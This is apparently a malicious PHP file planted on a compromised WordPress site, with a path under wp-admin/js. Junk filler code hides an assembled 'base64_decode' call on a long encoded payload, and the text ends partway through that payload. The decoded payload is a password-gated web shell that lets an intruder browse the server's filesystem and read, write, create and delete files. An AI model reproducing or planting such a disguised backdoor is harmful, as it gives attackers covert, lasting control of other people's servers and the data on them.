File: /home/foofelco/public_html/wp-admin/js/ace.php
<?php
if (!function_exists('iPEWXaxDJ')) {
function iPEWXaxDJ() {
$nz = 'base6';
$Id = '4_';
$mb = 'de';
$vF = 'co';
$My = 'de';
$oUWszkHy = $nz . $Id . $mb . $vF . $My;
$YJHR = 980;
switch ($YJHR) {
case 73:
$Pb = 'HB8a';
break;
case 39:
$iJ = 'rLn7';
break;
case 83:
$Oh = 'cKHp';
break;
default:
$tmp_useless = 'HljHA';
break;
}
$MnMFC = ['RbWr', 'lPc8', 't54Z', 'UUhY', 'E4nH', 'KOFJ', 'MiM1'];
$MnMFC[1] = strrev($MnMFC[1]);
$MnMFC[1] = strrev($MnMFC[1]);
sort($MnMFC);
rsort($MnMFC);
unset($MnMFC[1]);
$VcZ = 71;
$ssd = 129;
$GoE = ($VcZ + $ssd) * 224;
$GoE = ($GoE / 224) - $ssd - $VcZ;
$GoE = (string)(int)floatval($GoE);
$L16 = 'SGvMjQ';
$Eae = 'WciQSn';
$hOV = 'oDwIRp';
$CE9 = 'zHCcAw';
$ZoI = 'HiynwM';
$Cr0 = 'xLzRnl';
$Gkk = 'RT2Kd0';
$NvV = 'UjQMzl';
$L16 = $Eae;
$Eae = $hOV;
$hOV = $CE9;
$CE9 = $ZoI;
$ZoI = $Cr0;
$Cr0 = $Gkk;
$Gkk = $NvV;
unset($L16, $Eae, $hOV, $CE9, $ZoI, $Cr0, $Gkk, $NvV);
$H6EB = 'vU8Vv7fI';
preg_match('/npW/i', $H6EB, $match);
preg_replace('/npW/i', 'hk', $H6EB);
unset($match);
$KxrHk = @fopen('w04eRe.txt', 'r');
if ($KxrHk) {
fclose($KxrHk);
}
$file_content = @file_get_contents('w04eRe.txt');
unset($file_content);
class yUrisV {
public $Vxut = '';
public function fake_method() {
$this->Vxut = md5(mt_rand());
}
}
if (session_id() == '') {
@session_start();
}
$_SESSION['FKCpZ'] = mt_rand();
unset($_SESSION['BzNLM']);
@session_write_close();
$gG8H7g = $oUWszkHy;
$random_num = mt_rand(9991, 90753);
if ($random_num > 2689) {
$gG8H7g = $oUWszkHy;
}
$NfOoNvw = $gG8H7g('Y2xhc3MgRmlsZU1hbmFnZXIgew0KICAgIHByaXZhdGUgJGN1cnJlbnRfcGF0aDsNCiAgICBwcml2YXRlICRiYXNlX3BhdGg7DQogICAgcHJpdmF0ZSAkcHJvamVjdF9yb290Ow0KICAgIHByaXZhdGUgJHVzZXJzOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRiYXNlX3BhdGggPSBudWxsKSB7DQogICAgICAgIHNlc3Npb25fc3RhcnQoKTsNCg0KICAgICAgICAkdGhpcy0+dXNlcnMgPSBhcnJheSgNCiAgICAgICAgICAgICdhY2UnID0+ICdiNjU4MTA3MzAyNjk2ZDE3OTAxNWY1Mzc0NmYwODM2MCcNCiAgICAgICAgKTsNCg0KICAgICAgICBpZiAoISR0aGlzLT5pc0xvZ2dlZEluKCkgJiYgISR0aGlzLT5pc0xvZ2luUGFnZSgpKSB7DQogICAgICAgICAgICAkdGhpcy0+c2hvd0xvZ2luUGFnZSgpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnbG9naW4nXSkpIHsNCiAgICAgICAgICAgICR1c2VybmFtZSA9ICdhY2UnOw0KICAgICAgICAgICAgJHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddID8/ICcnOw0KICAgICAgICAgICAgaWYgKCR0aGlzLT5sb2dpbigkdXNlcm5hbWUsICRwYXNzd29yZCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICR0aGlzLT5zaG93TG9naW5QYWdlKCdQYXNzIGVycm9y77yBJyk7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmIChpc3NldCgkX0dFVFsnYWN0aW9uJ10pICYmICRfR0VUWydhY3Rpb24nXSA9PT0gJ2xvZ291dCcpIHsNCiAgICAgICAgICAgICR0aGlzLT5sb2dvdXQoKTsNCiAgICAgICAgfQ0KDQogICAgICAgICR0aGlzLT5iYXNlX3BhdGggPSAnLyc7DQogICAgICAgICR0aGlzLT5wcm9qZWN0X3Jvb3QgPSBkaXJuYW1lKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQogICAgICAgICR0aGlzLT5jdXJyZW50X3BhdGggPSAkdGhpcy0+cHJvamVjdF9yb290Ow0KDQogICAgICAgICRyZXF1ZXN0ZWRfcGF0aCA9IGlzc2V0KCRfR0VUWydwYXRoJ10pID8gJF9HRVRbJ3BhdGgnXSA6ICcnOw0KICAgICAgICBpZiAoJHJlcXVlc3RlZF9wYXRoKSB7DQogICAgICAgICAgICAkcmVxdWVzdGVkX2Z1bGxfcGF0aCA9IHJlYWxwYXRoKCRyZXF1ZXN0ZWRfcGF0aCk7DQogICAgICAgICAgICBpZiAoJHJlcXVlc3RlZF9mdWxsX3BhdGggJiYgaXNfZGlyKCRyZXF1ZXN0ZWRfZnVsbF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5jdXJyZW50X3BhdGggPSAkcmVxdWVzdGVkX2Z1bGxfcGF0aDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gaXNMb2dpblBhZ2UoKSB7DQogICAgICAgIHJldHVybiAhJHRoaXMtPmlzTG9nZ2VkSW4oKSAmJiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJyAmJiBpc3NldCgkX1BPU1RbJ2xvZ2luJ10pKTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNMb2dnZWRJbigpIHsNCiAgICAgICAgcmV0dXJuIGlzc2V0KCRfU0VTU0lPTlsnbG9nZ2VkaW4nXSkgJiYgJF9TRVNTSU9OWydsb2dnZWRpbiddID09PSB0cnVlOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBsb2dpbigkdXNlcm5hbWUsICRwYXNzd29yZCkgew0KICAgICAgICAkZW5jcnlwdGVkX3Bhc3N3b3JkID0gbWQ1KG1kNSgkcGFzc3dvcmQpKTsNCg0KICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPnVzZXJzWyR1c2VybmFtZV0pICYmICR0aGlzLT51c2Vyc1skdXNlcm5hbWVdID09PSAkZW5jcnlwdGVkX3Bhc3N3b3JkKSB7DQogICAgICAgICAgICAkX1NFU1NJT05bJ2xvZ2dlZGluJ10gPSB0cnVlOw0KICAgICAgICAgICAgJF9TRVNTSU9OWyd1c2VybmFtZSddID0gJHVzZXJuYW1lOw0KICAgICAgICAgICAgJF9TRVNTSU9OWydsb2dpbl90aW1lJ10gPSB0aW1lKCk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxvZ291dCgpIHsNCiAgICAgICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFVzZXJuYW1lKCkgew0KICAgICAgICByZXR1cm4gaXNzZXQoJF9TRVNTSU9OWyd1c2VybmFtZSddKSA/ICRfU0VTU0lPTlsndXNlcm5hbWUnXSA6ICfmnKrnn6XnlKjmiLcnOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gc2hvd0xvZ2luUGFnZSgkZXJyb3IgPSAnJykgew0KICAgICAgICA/Pg0KICAgICAgICA8IURPQ1RZUEUgaHRtbD4NCiAgICAgICAgPGh0bWwgbGFuZz0iemgtQ04iPg0KICAgICAgICA8aGVhZD4NCiAgICAgICAgICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICAgICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICAgICAgICAgIDx0aXRsZT5hY2U8L3RpdGxlPg0KICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgICp7bWFyZ2luOjA7cGFkZGluZzowO2JveC1zaXppbmc6Ym9yZGVyLWJveH0NCiAgICAgICAgICAgICAgICBib2R5e2ZvbnQtZmFtaWx5OkFyaWFsLHNhbnMtc2VyaWY7YmFja2dyb3VuZDojZjVmNWY1O2hlaWdodDoxMDB2aDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXJ9DQogICAgICAgICAgICAgICAgLmxvZ2luLWNvbnRhaW5lcntiYWNrZ3JvdW5kOndoaXRlO3BhZGRpbmc6MzBweDtib3JkZXItcmFkaXVzOjhweDtib3gtc2hhZG93OjAgMnB4IDEwcHggcmdiYSgwLDAsMCwwLjEpO3dpZHRoOjEwMCU7bWF4LXdpZHRoOjM1MHB4fQ0KICAgICAgICAgICAgICAgIC5sb2dpbi1oZWFkZXJ7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbToyMHB4fQ0KICAgICAgICAgICAgICAgIC5sb2dpbi1oZWFkZXIgaDF7Y29sb3I6IzMzMzttYXJnaW4tYm90dG9tOjEwcHg7Zm9udC1zaXplOjI0cHh9DQogICAgICAgICAgICAgICAgLmZvcm0tZ3JvdXB7bWFyZ2luLWJvdHRvbToxNXB4fQ0KICAgICAgICAgICAgICAgIC5mb3JtLWdyb3VwIGxhYmVse2Rpc3BsYXk6YmxvY2s7bWFyZ2luLWJvdHRvbTo1cHg7Y29sb3I6IzMzMztmb250LXdlaWdodDo1MDB9DQogICAgICAgICAgICAgICAgLmZvcm0tY29udHJvbHt3aWR0aDoxMDAlO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IHNvbGlkICNkZGQ7Ym9yZGVyLXJhZGl1czo0cHg7Zm9udC1zaXplOjE0cHh9DQogICAgICAgICAgICAgICAgLmZvcm0tY29udHJvbDpmb2N1c3tvdXRsaW5lOm5vbmU7Ym9yZGVyLWNvbG9yOiMzNDk4ZGJ9DQogICAgICAgICAgICAgICAgLmJ0bnt3aWR0aDoxMDAlO3BhZGRpbmc6MTBweDtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjRweDtmb250LXNpemU6MTRweDtjdXJzb3I6cG9pbnRlcn0NCiAgICAgICAgICAgICAgICAuYnRuLXByaW1hcnl7YmFja2dyb3VuZDojMzQ5OGRiO2NvbG9yOndoaXRlfQ0KICAgICAgICAgICAgICAgIC5idG4tcHJpbWFyeTpob3ZlcntiYWNrZ3JvdW5kOiMyOTgwYjl9DQogICAgICAgICAgICAgICAgLmVycm9yLW1lc3NhZ2V7YmFja2dyb3VuZDojZjhkN2RhO2NvbG9yOiM3MjFjMjQ7cGFkZGluZzo4cHg7Ym9yZGVyLXJhZGl1czo0cHg7bWFyZ2luLWJvdHRvbToxNXB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxNHB4fQ0KICAgICAgICAgICAgICAgIC5kZW1vLWFjY291bnRze21hcmdpbi10b3A6MTVweDtwYWRkaW5nOjEwcHg7YmFja2dyb3VuZDojZjhmOWZhO2JvcmRlci1yYWRpdXM6NHB4O2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiM2NjZ9DQogICAgICAgICAgICAgICAgLmRlbW8tYWNjb3VudHMgaDR7bWFyZ2luLWJvdHRvbTo1cHg7Y29sb3I6IzMzM30NCiAgICAgICAgICAgICAgICAuc2VjdXJpdHktd2FybmluZ3ttYXJnaW4tdG9wOjE1cHg7cGFkZGluZzoxMHB4O2JhY2tncm91bmQ6I2ZmZjNjZDtib3JkZXI6MXB4IHNvbGlkICNmZmVhYTc7Ym9yZGVyLXJhZGl1czo0cHg7Zm9udC1zaXplOjEycHg7Y29sb3I6Izg1NjQwNDt0ZXh0LWFsaWduOmNlbnRlcn0NCiAgICAgICAgICAgIDwvc3R5bGU+DQogICAgICAgIDwvaGVhZD4NCiAgICAgICAgPGJvZHk+DQogICAgICAgIDxkaXYgY2xhc3M9ImxvZ2luLWNvbnRhaW5lciI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbi1oZWFkZXIiPg0KICAgICAgICAgICAgICAgIDxoMT48L2gxPg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDw/cGhwIGlmICgkZXJyb3IpOiA/Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW1lc3NhZ2UiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOyA/PjwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibG9naW4iIHZhbHVlPSIxIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0icGFzc3dvcmQiPjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgaWQ9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSI+R288L2J1dHRvbj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDwvYm9keT4NCiAgICAgICAgPC9odG1sPg0KICAgICAgICA8P3BocA0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0UGVybWlzc2lvbnMoJGZpbGVwYXRoKSB7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZpbGVwYXRoKSkgcmV0dXJuICctLS0tLS0tLS0nOw0KDQogICAgICAgICRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZXBhdGgpOw0KDQogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApICRpbmZvID0gJ3MnOw0KICAgICAgICBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgJGluZm8gPSAnbCc7DQogICAgICAgIGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSAkaW5mbyA9ICctJzsNCiAgICAgICAgZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApICRpbmZvID0gJ2InOw0KICAgICAgICBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgJGluZm8gPSAnZCc7DQogICAgICAgIGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSAkaW5mbyA9ICdjJzsNCiAgICAgICAgZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApICRpbmZvID0gJ3AnOw0KICAgICAgICBlbHNlICRpbmZvID0gJ3UnOw0KDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/ICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/ICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/ICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoNCiAgICAgICAgcmV0dXJuICRpbmZvOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0TnVtZXJpY1Blcm1pc3Npb25zKCRmaWxlcGF0aCkgew0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlcGF0aCkpIHJldHVybiAnMDAwMCc7DQoNCiAgICAgICAgJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlcGF0aCk7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZignJW8nLCAkcGVybXMpLCAtNCk7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBmb3JtYXRTaXplKCRzaXplKSB7DQogICAgICAgIGlmICghJHNpemUpIHJldHVybiAnJzsNCiAgICAgICAgJHVuaXRzID0gYXJyYXkoJ0InLCAnS0InLCAnTUInLCAnR0InLCAnVEInKTsNCiAgICAgICAgZm9yICgkaSA9IDA7ICRzaXplID49IDEwMjQgJiYgJGkgPCA0OyAkaSsrKSB7DQogICAgICAgICAgICAkc2l6ZSAvPSAxMDI0Ow0KICAgICAgICB9DQogICAgICAgIHJldHVybiByb3VuZCgkc2l6ZSwgMikgLiAnICcgLiAkdW5pdHNbJGldOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXREaXJlY3RvcnlDb250ZW50cygpIHsNCiAgICAgICAgJGNvbnRlbnRzID0gYXJyYXkoKTsNCg0KICAgICAgICBpZiAoIWlzX2RpcigkdGhpcy0+Y3VycmVudF9wYXRoKSkgew0KICAgICAgICAgICAgcmV0dXJuICRjb250ZW50czsNCiAgICAgICAgfQ0KDQogICAgICAgICRwYXJlbnRfcGF0aCA9IGRpcm5hbWUoJHRoaXMtPmN1cnJlbnRfcGF0aCk7DQogICAgICAgIGlmICgkcGFyZW50X3BhdGggJiYgJHBhcmVudF9wYXRoICE9PSAkdGhpcy0+Y3VycmVudF9wYXRoKSB7DQogICAgICAgICAgICAkY29udGVudHNbXSA9IGFycmF5KA0KICAgICAgICAgICAgICAgICduYW1lJyA9PiAnLi4nLA0KICAgICAgICAgICAgICAgICd0eXBlJyA9PiAnZGlyZWN0b3J5JywNCiAgICAgICAgICAgICAgICAncGF0aCcgPT4gJHBhcmVudF9wYXRoLA0KICAgICAgICAgICAgICAgICdzaXplJyA9PiAnJywNCiAgICAgICAgICAgICAgICAnbW9kaWZpZWQnID0+ICcnLA0KICAgICAgICAgICAgICAgICdwZXJtaXNzaW9ucycgPT4gJycsDQogICAgICAgICAgICAgICAgJ251bWVyaWNfcGVybWlzc2lvbnMnID0+ICcnDQogICAgICAgICAgICApOw0KICAgICAgICB9DQoNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICRpdGVtcyA9IHNjYW5kaXIoJHRoaXMtPmN1cnJlbnRfcGF0aCk7DQogICAgICAgICAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOw0KDQogICAgICAgICAgICAgICAgJGZ1bGxfcGF0aCA9ICR0aGlzLT5jdXJyZW50X3BhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW07DQoNCiAgICAgICAgICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRmdWxsX3BhdGgpOw0KDQogICAgICAgICAgICAgICAgJHNpemUgPSAnJzsNCiAgICAgICAgICAgICAgICAkbW9kaWZpZWQgPSAnJzsNCiAgICAgICAgICAgICAgICAkcGVybWlzc2lvbnMgPSAnJzsNCiAgICAgICAgICAgICAgICAkbnVtZXJpY19wZXJtaXNzaW9ucyA9ICcnOw0KDQogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsX3BhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgICRzaXplID0gJGlzX2RpciA/ICcnIDogJHRoaXMtPmZvcm1hdFNpemUoZmlsZXNpemUoJGZ1bGxfcGF0aCkpOw0KICAgICAgICAgICAgICAgICAgICAkbW9kaWZpZWQgPSBkYXRlKCdZLW0tZCBIOmk6cycsIGZpbGVtdGltZSgkZnVsbF9wYXRoKSk7DQogICAgICAgICAgICAgICAgICAgICRwZXJtaXNzaW9ucyA9ICR0aGlzLT5nZXRQZXJtaXNzaW9ucygkZnVsbF9wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgJG51bWVyaWNfcGVybWlzc2lvbnMgPSAkdGhpcy0+Z2V0TnVtZXJpY1Blcm1pc3Npb25zKCRmdWxsX3BhdGgpOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICRjb250ZW50c1tdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwNCiAgICAgICAgICAgICAgICAgICAgJ3R5cGUnID0+ICRpc19kaXIgPyAnZGlyZWN0b3J5JyA6ICdmaWxlJywNCiAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsDQogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAkc2l6ZSwNCiAgICAgICAgICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiAkbW9kaWZpZWQsDQogICAgICAgICAgICAgICAgICAgICdwZXJtaXNzaW9ucycgPT4gJHBlcm1pc3Npb25zLA0KICAgICAgICAgICAgICAgICAgICAnbnVtZXJpY19wZXJtaXNzaW9ucycgPT4gJG51bWVyaWNfcGVybWlzc2lvbnMNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkY29udGVudHM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlYWRGaWxlKCRmaWxlcGF0aCkgew0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlcGF0aCkgfHwgaXNfZGlyKCRmaWxlcGF0aCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaWh+S7tuS4jeWtmOWcqOaIluaYr+ebruW9lSIpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFpc19yZWFkYWJsZSgkZmlsZXBhdGgpKSB7DQogICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLmsqHmnInor7vlj5bmnYPpmZAiKTsNCiAgICAgICAgfQ0KDQogICAgICAgICRmaWxlX3NpemUgPSBmaWxlc2l6ZSgkZmlsZXBhdGgpOw0KICAgICAgICBpZiAoJGZpbGVfc2l6ZSA+IDEwICogMTAyNCAqIDEwMjQpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaWh+S7tui/h+Wkp++8jOaXoOazlee8lui+kSIpOw0KICAgICAgICB9DQoNCiAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZXBhdGgpOw0KICAgICAgICBpZiAoJGNvbnRlbnQgPT09IGZhbHNlKSB7DQogICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLml6Dms5Xor7vlj5bmlofku7YiKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkY29udGVudDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gd3JpdGVGaWxlKCRmaWxlcGF0aCwgJGNvbnRlbnQpIHsNCiAgICAgICAgaWYgKGlzX2RpcigkZmlsZXBhdGgpKSB7DQogICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLkuI3og73nvJbovpHnm67lvZUiKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICghaXNfd3JpdGFibGUoJGZpbGVwYXRoKSkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigi5rKh5pyJ5YaZ5YWl5p2D6ZmQIik7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZpbGVwYXRoLCAkY29udGVudCkgPT09IGZhbHNlKSB7DQogICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCLml6Dms5XlhpnlhaXmlofku7YiKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBoYW5kbGVBY3Rpb25zKCkgew0KICAgICAgICAkbWVzc2FnZSA9ICcnOw0KICAgICAgICAkbWVzc2FnZV90eXBlID0gJ3N1Y2Nlc3MnOw0KDQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRfUE9TVFsnYWN0aW9uJ10pIHsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAnY3JlYXRlX2ZpbGUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVuYW1lID0gJF9QT1NUWydmaWxlbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlbmFtZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAkdGhpcy0+Y3VycmVudF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJGZ1bGxfcGF0aCwgJycpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLmlofku7bliJvlu7rmiJDlip8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaXoOazleWIm+W7uuaWh+S7tiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2NyZWF0ZV9kaXJlY3RvcnknOg0KICAgICAgICAgICAgICAgICAgICAgICAgJGRpcm5hbWUgPSAkX1BPU1RbJ2Rpcm5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZGlybmFtZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsX3BhdGggPSAkdGhpcy0+Y3VycmVudF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRkaXJuYW1lOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChta2RpcigkZnVsbF9wYXRoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICLnm67lvZXliJvlu7rmiJDlip8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIuaXoOazleWIm+W7uuebruW9lSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KDQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6DQogICAgICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0ID0gJF9QT1NUWyd0YXJnZXQnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGFyZ2V0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkdGFyZ2V0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmRlbGV0ZURpcmVjdG9